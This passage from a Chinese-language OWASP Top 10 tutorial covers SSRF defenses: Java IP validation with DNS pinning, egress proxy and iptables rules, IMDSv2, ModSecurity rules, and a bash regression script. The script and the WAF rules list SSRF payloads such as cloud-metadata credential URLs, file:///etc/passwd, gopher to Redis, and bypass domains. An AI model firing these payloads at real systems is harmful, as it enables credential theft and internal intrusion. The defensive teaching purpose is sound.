// 240.0.0.0/4 (reserved) + 255.255.255.255
if ((b0 & 0xf0) == 240) return true;
} else if (bytes.length == 16) { // IPv6
// ::1 loopback, :: unspecified
if (addr.isLoopbackAddress() || addr.isAnyLocalAddress()) return true;
// fc00::/7 unique local
if ((bytes[0] & 0xfe) == (byte)0xfc) return true;
// fe80::/10 link-local
if (bytes[0] == (byte)0xfe && (bytes[1] & 0xc0) == 0x80) return true;
// IPv4-mapped IPv6: ::ffff:a.b.c.d
if (bytes[0] == 0 && bytes[1] == 0 && bytes[2] == 0 && bytes[3] == 0
&& bytes[4] == 0 && bytes[5] == 0 && bytes[6] == 0 && bytes[7] == 0
&& bytes[8] == 0 && bytes[9] == 0 && bytes[10] == (byte)0xff
&& bytes[11] == (byte)0xff) {
// 提取内嵌的 IPv4 再检查一次
byte[] v4 = Arrays.copyOfRange(bytes, 12, 16);
try {
return isBlockedIp(InetAddress.getByAddress(v4));
} catch (Exception e) {
return true;
}
}
}
return false;
}
/**
* 解析后用 IP 直连,固定 Host 头(防 DNS Rebinding 的核心)
*/
private String fetchWithPinnedIp(URL url, String ip, String originalHost) throws Exception {
// 用 IP 重建 URL,但保留原始 Host 头(保证 TLS SNI 和虚拟主机正常)
URL ipUrl = new URL(
url.getProtocol(), ip, url.getPort(), url.getFile()
);
HttpURLConnection conn = (HttpURLConnection) ipUrl.openConnection();
// 关键:显式设置 Host 头为原域名
conn.setRequestProperty("Host", originalHost);
// 关键:禁用重定向(防 302 绕过)
conn.setInstanceFollowRedirects(false);
// 设置超时(防 SSRF 用于端口扫描/DoS)
conn.setConnectTimeout(3000);
conn.setReadTimeout(5000);
int status = conn.getResponseCode();
// 手动检查重定向,且重定向目标也要重新走一遍完整校验
if (status >= 300 && status < 400) {
String location = conn.getHeaderField("Location");
throw new SecurityException("不允许重定向,目标: " + location);
// 如果需要支持重定向,应重新调用 fetch() 做完整校验,且限制跳转次数
}
// 限制响应大小(防 SSRF 用于读取大文件/DoS)
return readLimited(conn.getInputStream(), 1024 * 1024); // 最多 1MB
}
private boolean isDomainAllowed(String host) {
// 精确匹配
if (ALLOWED_DOMAINS.contains(host)) return true;
// 子域名匹配(注意:只匹配白名单域名的子域,不是后缀匹配)
for (String allowed : ALLOWED_DOMAINS) {
if (host.equals(allowed) || host.endsWith("." + allowed)) {
return true;
}
}
return false;
}
}💡 踩坑提示(防 DNS Rebinding 的关键):光做"解析后校验 IP"是不够的 —— 因为校验时解析一次,请求时又解析一次,中间 DNS 记录可能已经变了(这就是 TOCTOU)。正确做法是:解析一次拿到 IP,然后用这个 IP 直接建连,同时把
Host头设为原域名。这样 DNS 重绑定就无效了。
网络层:出网限制与统一出口代理
方案一:统一出口代理(最彻底)
/**
* 所有对外请求必须走统一代理,在代理层做白名单和审计
*/
@Configuration
public class ProxyConfig {
@Bean
public RestTemplate secureRestTemplate() {
SimpleClientHttpRequestFactory factory = new SimpleClientHttpRequestFactory();
// 强制走内网代理
Proxy proxy = new Proxy(Proxy.Type.HTTP,
new InetSocketAddress("proxy.internal", 3128));
factory.setProxy(proxy);
factory.setConnectTimeout(3000);
factory.setReadTimeout(5000);
return new RestTemplate(factory);
}
}# 正向代理(Squid / Nginx)配置白名单 + 拒绝内网
# /etc/squid/squid.conf
# 只允许访问白名单域名
acl allowed_domains dstdomain .example.com .cdn.example.com
acl internal_dst dst 10.0.0.0/8 172.16.0.0/12 192.168.0.0/16 127.0.0.0/8 169.254.0.0/16
# 规则顺序很重要
http_access deny internal_dst # 先拒绝所有内网目标
http_access allow allowed_domains # 再允许白名单
http_access deny all # 其余全部拒绝
# 只允许 HTTP/HTTPS
acl allowed_ports port 80 443
http_access deny !allowed_ports
# 日志(审计用)
access_log /var/log/squid/access.log方案二:网络隔离(出网限制)
# 应用服务器出网限制(iptables)
# 默认允许已建立的连接
iptables -A OUTPUT -m state --state ESTABLISHED,RELATED -j ACCEPT
# 禁止访问云元数据(最高优先级)
iptables -I OUTPUT -d 169.254.169.254 -j DROP
iptables -I OUTPUT -d 169.254.0.0/16 -j DROP
# 禁止访问内网其他网段(按需)
iptables -A OUTPUT -d 10.0.0.0/8 -j DROP
iptables -A OUTPUT -d 172.16.0.0/12 -j DROP
# 只允许访问必要的外部服务(按 IP 或域名解析后的 IP)
# 实操中建议用安全组来做,更好管理
# 保存规则
iptables-save > /etc/iptables/rules.v4云安全组配置:
应用服务器出方向规则:
优先级 1: 拒绝 169.254.169.254/32 (云元数据)
优先级 2: 拒绝 10.0.0.0/8 (内网,按需)
优先级 3: 拒绝 172.16.0.0/12
优先级 4: 允许 0.0.0.0/0 出方向(仅 HTTP/HTTPS,按需收紧)
⚠️ 注意: 如果有服务确实需要访问云元数据(如 SDK 获取临时凭证),
则不能一刀切禁止,需要用 IMDSv2 + 限制。IMDSv2 与元数据加固
AWS IMDSv2:
# IMDSv2 要求先发 PUT 请求获取 token,再用 token 访问元数据
# 这样纯 GET 的 SSRF 就无法利用
# 强制实例只使用 IMDSv2
aws ec2 modify-instance-metadata-options \
--instance-id i-1234567890abcdef0 \
--http-tokens required \
--http-endpoint enabled
# 验证
aws ec2 describe-instance-metadata-options --instance-id i-1234567890abcdef0
# 期望: "HttpTokens": "required"IMDSv2 为什么能防 SSRF:
1. 必须先 PUT /latest/api/token 获取 token(SSRF 通常只能发 GET)
2. 获取 token 时需要自定义请求头 X-aws-ec2-metadata-token-ttl-seconds
3. 然后 GET 请求需要带 X-aws-ec2-metadata-token: <token> 头
4. SSRF 无法自定义请求头(除非是支持 header 注入的复杂场景)
注意:如果 SSRF 支持完全控制请求(如 gopher:// 协议),仍可能绕过
所以 IMDSv2 是缓解,不是根治其他云平台的对应措施:
| 平台 | 措施 |
|---|---|
| AWS | IMDSv2(--http-tokens required) |
| 阿里云 | 实例元数据访问模式设为"加固模式" |
| 腾讯云 | 使用 CAM 角色 + 限制元数据访问 |
| GCP | 默认需要 Metadata-Flavor: Google 头(较安全) |
| Azure | 默认需要 Metadata: true 头(较安全) |
WAF 规则(先观察后拦截)
# ===== ModSecurity SSRF 防护规则 =====
# 规则 1: 检测内网 IP 与元数据地址(所有形式)
SecRule ARGS|ARGS_NAMES|REQUEST_BODY|XML:/* "@rx (?i)(?:127\.|0?10\.|0?172\.(?:1[6-9]|2\d|3[01])\.|0?192\.168\.|169\.254\.|100\.6[4-9]\.|(?:0x)?7f0{0,6}1|2130706433|0{0,3}\.0{0,3}\.0{0,3}\.0{0,3}|::1|\[::\]|localhost)" \
"id:9010001,\
phase:2,\
deny,\
status:403,\
log,\
msg:'SSRF Attempt - Internal/Reserved IP',\
tag:'OWASP-A10',\
tag:'attack-ssrf',\
severity:'CRITICAL'"
# 规则 2: 检测云元数据地址(单独强调,优先级最高)
SecRule ARGS|ARGS_NAMES|REQUEST_BODY "@rx (?i)(?:169\.254\.169\.254|metadata\.google\.internal|metadata\.goog|100\.100\.100\.200|fd00:ec2::254)" \
"id:9010002,\
phase:2,\
deny,\
status:403,\
log,\
msg:'SSRF Attempt - Cloud Metadata Endpoint',\
tag:'OWASP-A10',\
severity:'CRITICAL'"
# 规则 3: 检测危险协议
SecRule ARGS|ARGS_NAMES|REQUEST_BODY "@rx (?i)^\s*(?:file|gopher|dict|ldap|ldaps|ftp|ftps|jar|netdoc|php|expect|data|glob|phar|ssh2|ogg|zlib|compress)\s*:(?://)?" \
"id:9010003,\
phase:2,\
deny,\
status:403,\
log,\
msg:'SSRF Attempt - Dangerous Protocol',\
tag:'OWASP-A10',\
severity:'CRITICAL'"
# 规则 4: 检测 URL 中的 @ 符号混淆
SecRule ARGS|REQUEST_BODY "@rx (?i)^(?:https?|ftps?)://[^/]*@" \
"id:9010004,\
phase:2,\
deny,\
status:403,\
log,\
msg:'SSRF Attempt - URL Userinfo Obfuscation',\
tag:'OWASP-A10'"
# 规则 5: 检测常见的 SSRF 绕过域名
SecRule ARGS|REQUEST_BODY "@rx (?i)(?:localtest\.me|nip\.io|xip\.io|sslip\.io|burpcollaborator|interact\.sh|oastify|requestbin)" \
"id:9010005,\
phase:2,\
deny,\
status:403,\
log,\
msg:'SSRF Attempt - Known Bypass Domain',\
tag:'OWASP-A10'"💡 踩坑提示:WAF 规则 1 里的正则很宽(匹配
10.127.等),可能误伤正常业务。比如用户提交的内容里含 "版本 10.2.3" 就可能被拦。上线前务必先用 DetectionOnly 模式跑一段时间,分析误报后再开拦截。
检测:出网日志是最好的告警源
# SSRF 检测规则
# 规则 1: 出网请求白名单违规
- id: ssrf-outbound-violation
detection:
source: proxy_log # 统一出口代理的日志
condition: destination_not_in_whitelist
action: [alert_soc, block]
severity: high
note: "应用在访问白名单外的地址,可能是 SSRF 被利用"
# 规则 2: 访问云元数据(无论成功失败都告警)
- id: metadata-access-attempt
detection:
source: proxy_log or firewall_log
condition: destination == "169.254.169.254"
action: [alert_soc, phone_call]
severity: critical
note: "有人在访问云元数据,极可能是 SSRF,立即处置"
# 规则 3: 内网横向扫描行为
- id: internal-port-scan
detection:
source: proxy_log
condition: distinct_internal_destinations >= 20 in 300s (same source)
action: [alert_soc, isolate_source]
severity: critical
# 规则 4: 应用服务器异常出网
- id: anomalous-egress
detection:
source: flow_log
condition: app_server_outbound_to_internal_segment
exclude: [known_service_dependencies]
action: [alert]
severity: high
note: "应用服务器访问了非预期的内网网段"回归验证清单
#!/usr/bin/env bash
# SSRF 修复回归验证
# 用法: bash verify_ssrf.sh https://target.com/api/fetch
ENDPOINT="$1"
PARAM="${2:-url}"
PASS=0; FAIL=0
test_blocked() {
# test_blocked <目标URL> <说明>
local target="$1" desc="$2"
local code resp
resp=$(curl -s --max-time 8 "$ENDPOINT?$PARAM=$target" 2>/dev/null)
code=$(curl -s -o /dev/null -w "%{http_code}" --max-time 8 "$ENDPOINT?$PARAM=$target" 2>/dev/null)
# 判断是否被拦截:
# - 返回 403/400
# - 或响应中包含错误信息而非目标内容
if [ "$code" = "403" ] || [ "$code" = "400" ]; then
echo "[PASS] $desc ($target → $code)"; PASS=$((PASS+1))
elif echo "$resp" | grep -qiE "root:x:0:0|ami-id|security-credentials|AccessKeyId"; then
echo "[FAIL] $desc —— 泄露了敏感内容!"; FAIL=$((FAIL+1))
echo " 响应: $(echo "$resp" | head -c 150)"
elif [ -z "$resp" ] || [ "$code" = "500" ]; then
echo "[PASS] $desc ($target → $code, 无内容返回)"; PASS=$((PASS+1))
else
echo "[WARN] $desc ($target → $code),需人工确认"
echo " 响应: $(echo "$resp" | head -c 150)"
fi
}
echo "=========== 1. 云元数据(最高优先级)==========="
test_blocked "http://169.254.169.254/latest/meta-data/" "AWS/通用元数据"
test_blocked "http://169.254.169.254/latest/meta-data/iam/security-credentials/" "IAM 凭证"
test_blocked "http://169.254.169.254/computeMetadata/v1/" "GCP 元数据"
test_blocked "http://100.100.100.200/latest/meta-data/" "阿里云元数据(旧)"
echo
echo "=========== 2. 回环与内网地址 ==========="
test_blocked "http://127.0.0.1/" "IPv4 回环"
test_blocked "http://localhost/" "localhost"
test_blocked "http://[::1]/" "IPv6 回环"
test_blocked "http://2130706433/" "十进制 IP"
test_blocked "http://0x7F000001/" "十六进制 IP"
test_blocked "http://127.1/" "短格式"
test_blocked "http://0/" "0.0.0.0"
test_blocked "http://10.0.0.1/" "内网 10 段"
test_blocked "http://192.168.1.1/" "内网 192.168 段"
test_blocked "http://172.16.0.1/" "内网 172.16 段"
echo
echo "=========== 3. 危险协议 ==========="
test_blocked "file:///etc/passwd" "file 协议"
test_blocked "file:///proc/self/environ" "file 读取环境变量"
test_blocked "gopher://127.0.0.1:6379/_INFO" "gopher 协议"
test_blocked "dict://127.0.0.1:6379/info" "dict 协议"
test_blocked "ldap://127.0.0.1/" "ldap 协议"
test_blocked "ftp://127.0.0.1/" "ftp 协议"
echo
echo "=========== 4. 绕过手法 ==========="
test_blocked "http://localtest.me/" "localtest.me 绕过域名"
test_blocked "http://127.0.0.1.nip.io/" "nip.io 绕过域名"
test_blocked "http://allowed.com@127.0.0.1/" "@ 符号混淆"
test_blocked "http://127.0.0.1#allowed.com" "# 片段混淆"
test_blocked "http://①②⑦.0.0.1/" "Unicode 数字"
echo
echo "=========== 5. 重定向绕过 ==========="
# 需要一个能发起 302 跳转的测试服务
if [ -n "${REDIRECT_SERVER:-}" ]; then
test_blocked "${REDIRECT_SERVER}/to-metadata" "302 跳转到元数据"
else
echo "[SKIP] 未设置 REDIRECT_SERVER"
echo " 建议: 自建一个 302 跳转到 169.254.169.254 的服务再测"
fi
echo
echo "=========== 6. 正常功能验证(确保没有误伤)==========="
if [ -n "${ALLOWED_URL:-}" ]; then
code=$(curl -s -o /dev/null -w "%{http_code}" --max-time 8 "$ENDPOINT?$PARAM=$ALLOWED_URL")
[ "$code" = "200" ] \
&& (echo "[PASS] 白名单 URL 正常访问 ($ALLOWED_URL → 200)"; PASS=$((PASS+1))) \
|| (echo "[FAIL] 白名单 URL 被误伤 ($ALLOWED_URL → $code)"; FAIL=$((FAIL+1)))
else
echo "[SKIP] 未设置 ALLOWED_URL"
fi
echo
echo "----------------------------------------"
echo "通过: $PASS 失败: $FAIL"
[ "$FAIL" -eq 0 ] && echo "✅ 全部通过" || echo "❌ 存在未修复项"验证清单:
- [ ] 云元数据地址(
169.254.169.254)已禁止访问 - [ ] 回环地址(所有表示法)已禁止
- [ ] 内网网段(10/172.16/192.168)已禁止
- [ ] 保留网段(0.0.0.0/8、100.64/10、169.254/16 等)已禁止
- [ ] IPv6 回环与 ULA 已禁止
- [ ] 仅允许白名单协议(建议只 HTTPS)
- [ ] 仅允许白名单端口(建议只 443)
- [ ] 域名走白名单(精确匹配 + 子域匹配)
- [ ] DNS 解析一次后用 IP 直连(防 DNS Rebinding)
- [ ] 禁用重定向(或重定向目标重新校验)
- [ ] 设置了连接/读取超时
- [ ] 限制了响应大小
- [ ] 网络层出网限制(iptables / 安全组)
- [ ] 云元数据启用 IMDSv2 / 加固模式
- [ ] WAF 配置了 SSRF 规则(先观察后拦截)
- [ ] 出网代理日志接入监控,异常目标告警
最后:借用服务端身份,等于交出服务端身份
SSRF 是十项里**"位置决定危害"**特征最明显的一项 —— 同样的漏洞代码,部署在传统 IDC 可能只是"能探测内网",部署在云上就是"整个云账号沦陷"。
核心防护思路,按可靠性排序:
- 白名单域名 —— 唯一可靠的方案。黑名单有几十种绕过方式,别用。
- 解析一次 + IP 直连 + 固定 Host 头 —— 防 DNS Rebinding 的关键,很多人只做了"解析后校验"却没做"IP 直连",等于白做。
- 禁用重定向 —— 302 绕过是最实用的绕过手法之一。
- 网络层出网限制 —— 即使应用层有漏洞,网络层还能兜住(尤其是禁
169.254.169.254)。 - IMDSv2 / 元数据加固模式 —— 云上必做,成本极低。
几个实战经验:
- 找 SSRF 不要只盯着"URL 输入框" —— 图片远程加载、Webhook、PDF 导出、SSO 元数据,这些才是重灾区。
- 用 DNSLog 确认"请求真的发出去了" —— 这是唯一可靠的判据。
- 云上环境,SSRF 一律按"严重"定级 —— 因为元数据泄露的后果不可控。
- gopher:// 是 SSRF 的放大器 —— 从"能发请求"升级到"能打内网服务",危害差一个量级。
最后一句:服务端发出的请求,携带的是服务端的网络位置和身份。把发起请求的能力交给用户,就等于把服务端的身份借给了用户。
系列总结:OWASP Top 10 2021 全榜单回顾
十篇写完,回头看这十项,其实可以归纳成三类问题:
第一类:信任问题(占了一半)
- A01 失效的访问控制 —— 信任了"用户只会访问自己的东西"
- A03 注入 —— 信任了"用户输入只是数据"
- A07 认证失败 —— 信任了"报上名字的就是本人"
- A08 完整性失败 —— 信任了"收到的东西没被换过"
- A10 SSRF —— 信任了"用户给的 URL 是安全的"
第二类:配置与资产管理问题
- A02 加密失败 —— 该加密的没加密 / 加密方式错了
- A05 安全配置错误 —— 系统本身没毛病,配置出了毛病
- A06 过时组件 —— 代码没错,依赖有洞
- A09 日志监控失败 —— 出事了不知道
第三类:设计问题
- A04 不安全的设计 —— 每个零件都合格,整体结构是错的
有意思的是,解决这十项的技术手段各不相同,但解决思路高度一致:
| 技术手段 | 本质 |
|---|---|
| 参数化查询 | 分离数据与指令 |
| 默认拒绝 + 归属校验 | 让"漏写"在架构上不可能 |
| 白名单(URL / 域名 / 标识符) | 只放行已知的,拒绝未知的 |
| AEAD 加密 + 签名 | 同时保证机密性与完整性 |
| SBOM + CI 卡点 | 把"靠人记"变成"靠流水线" |
| 集中化日志 + 行为告警 | 从"看不见"到"看得见" |
一句话总结这十项:安全不是"加个 if 判断",是"让错误的写法在架构上写不出来,让错误的配置在流水线里发不出去,让已经发生的攻击能被看见"。
⚠️ 声明:本系列所有示例、脚本与命令仅用于授权的安全测试、教学研究与自有系统加固。请勿对任何未授权系统进行测试,违反者需自行承担法律责任。